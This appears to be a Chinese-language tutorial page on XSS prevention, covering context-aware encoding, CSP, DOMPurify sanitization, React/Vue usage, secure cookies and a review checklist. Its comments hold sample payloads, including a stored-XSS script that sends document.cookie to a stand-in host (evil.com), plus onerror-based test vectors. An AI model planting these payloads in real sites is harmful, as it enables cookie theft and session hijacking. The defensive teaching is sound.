XSS 防护
按输出上下文做 HTML/属性/URL/JS 编码;Content-Security-Policy 限制内联与 eval;避免 innerHTML 拼接不可信数据。
纵深防御层级
单一手段无法覆盖全部 XSS 变体;在架构上叠三层:先控制「进」与「出」的数据形态,再用浏览器策略兜住误用。
编码(Encode)
按实际输出上下文选用 HTML 实体、属性转义、URL 编码或 JS 字符串转义。默认假设数据不可信,在拼接模板或 DOM 前完成编码。
内容安全策略(CSP)
限制脚本来源、禁止或约束内联脚本与 eval,配合 report-to / report-uri 观测违规。与 nonce、hash 配合可在保留必要内联的同时收紧面。
消毒(Sanitize)
富文本等必须保留标签时,用允许列表解析 DOM 并剥离事件与危险协议(如 javascript:)。入库前与出库展示前可各做一次,与编码互补而非替代。
输出上下文对照
错误上下文编码是最常见失误之一:在 HTML 文本节点安全的转义,放进 href 或 <script> 内仍可能出事。
| 上下文 | 典型落点 | 要点 |
|---|---|---|
| HTML 文本 | 元素正文、textarea 外展示 |
转义 < > & " ';勿用不可信串拼标签结构。 |
| HTML 属性 | title、data-*、部分 src |
属性转义 + 协议校验;href/src 禁止 javascript: 与可疑 data URL。 |
| URL / 查询 | 重定向、链接、location |
用 URL 编码/解析 API;白名单协议与主机;开放重定向单独治理。 |
| JavaScript | 内联事件已弱化;JSON 嵌入、eval 反模式 |
勿将不可信串直接拼进 JS 源码;用 JSON.stringify 或隔离的 application/json 块。 |
缓解流程(示意)
自外而内:先缩小不可信数据的「可表达力」,再在渲染侧编码,最后由 CSP 限制执行面。
不可信输入(请求体 / URL / 存储 / 第三方 HTML)
│
▼
┌───────────────────────┐
│ ① Sanitize(若需 HTML)│ 允许列表、去事件/危险 URL
└───────────┬───────────┘
▼
┌───────────────────────┐
│ ② Encode(按上下文) │ HTML / Attr / URL / JS
└───────────┬───────────┘
▼
┌───────────────────────┐
│ ③ CSP(+ 可信类型等) │ script-src、object-src、default-src
└───────────┬───────────┘
▼
浏览器安全渲染
页内演示
下方脚本仅在本页运行:高亮示例输入中的常见危险子串(示意,非完整漏洞扫描);并可根据勾选项拼接一版 CSP 预览字符串供对照文档。
危险子串高亮(示例输入)
高亮视图(<mark> 表示匹配到的常见向量片段)匹配规则包含:script 标签片段、事件处理器、javascript:、iframe、vbscript:、data:text/html 等(演示用)。
CSP 指令预览
框架安全用法与编码函数示例
三类 XSS 攻击 payload 与防御代码
// Stored XSS payload(存储型)
// 攻击者在评论中存入:<script>document.location='https://evil.com/steal?c='+document.cookie</script>
// 防御:出库渲染时 HTML 编码,不直接 innerHTML
// Reflected XSS payload(反射型)
// URL: /search?q=<img src=x onerror=alert(document.domain)>
// 防御:服务端输出时转义,CSP 限制内联脚本
// DOM XSS payload
// URL fragment: #<img src=x onerror=alert(1)>
document.getElementById('output').innerHTML = location.hash.slice(1); // ❌
// 防御:用 textContent 而非 innerHTML
document.getElementById('output').textContent = location.hash.slice(1); // ✅
React dangerouslySetInnerHTML 错误 vs DOMPurify 正确用法
// ❌ 危险:未消毒的 dangerouslySetInnerHTML
function Comment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// ✅ 安全:DOMPurify 消毒后再渲染
import DOMPurify from 'dompurify';
function Comment({ html }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false,
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
// ✅ Vue v-html 安全使用规则
// 仅在受信任的内容上使用 v-html,用 DOMPurify 预处理:
// <div v-html="sanitizedContent"></div>
// computed: { sanitizedContent() { return DOMPurify.sanitize(this.rawHtml) } }
四种编码上下文的函数示例
// HTML 编码(Node.js — he 库)
import he from 'he';
const htmlEncoded = he.encode('<script>alert(1)</script>');
// → '<script>alert(1)</script>'
// URL 编码
const urlEncoded = encodeURIComponent(userInput);
// 用于 query string 值,不用于整个 URL
// JavaScript 字符串编码(嵌入 <script> 内时)
const jsEncoded = JSON.stringify(userInput)
.replace(/</g, '\\u003c')
.replace(/>/g, '\\u003e')
.replace(/&/g, '\\u0026');
// CSS 编码(用户控制 style 属性值时)
function cssSafeValue(val) {
return val.replace(/[^a-zA-Z0-9\-_]/g, c =>
'\\' + c.codePointAt(0).toString(16) + ' '
);
}
安全 Cookie 配置完整示例
// Express.js — 安全 Cookie 配置
res.cookie('session', token, {
httpOnly: true, // 防 JS 读取(XSS 窃取 cookie)
secure: true, // 仅 HTTPS
sameSite: 'Strict', // 防 CSRF('Lax' 为大多数场景的平衡点)
maxAge: 3600000, // 1 小时
path: '/',
domain: 'example.com',
});
# Nginx — Set-Cookie header 示例
# add_header Set-Cookie "session=$token; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600"
- 存储型 XSS:入库前消毒与出库编码双保险;DOMPurify 配置 ALLOWED_TAGS 白名单。
- 第三方脚本:子资源完整性 SRI(integrity=sha256-...)与供应链审查。
SKILL 片段
---
name: xss-prevention-checklist
description: 审查前后端 XSS 面,覆盖三类 XSS、框架安全用法、四种编码上下文与 CSP
---
# 步骤
1. 识别三类 XSS:Stored / Reflected / DOM — 每类提供 payload 示例
2. DOM 操作:禁止 innerHTML/outerHTML 拼接不可信数据,改用 textContent
3. React:审查所有 dangerouslySetInnerHTML;必须使用 DOMPurify.sanitize
4. Vue:审查 v-html 使用;渲染前 DOMPurify 预处理
5. 富文本:DOMPurify ALLOWED_TAGS 白名单,禁用事件属性与 javascript: 协议
6. HTML 编码:he.encode 或框架内置(Jinja2 autoescape、Thymeleaf th:text)
7. URL 编码:encodeURIComponent 用于 query 值;校验 href/src 禁止 javascript:
8. JS 上下文嵌入:JSON.stringify + Unicode 转义 <、>、&
9. CSS 上下文:cssSafeValue 函数限制合法字符集
10. CSP:default-src 'self',script-src 使用 nonce 或 hash,禁 unsafe-inline
11. Cookie:httpOnly + secure + sameSite=Strict/Lax + 合理 maxAge
12. 测试向量:基础 <script>alert(1)</script>、事件 onerror=、URL javascript:
13. SRI:第三方脚本添加 integrity=sha256-... 与 crossorigin=anonymous
# 禁止
- 禁止将用户输入直接赋值给 innerHTML 或 document.write
- 禁止 CSP 使用 unsafe-eval(除非有充分的框架需求并加 hash)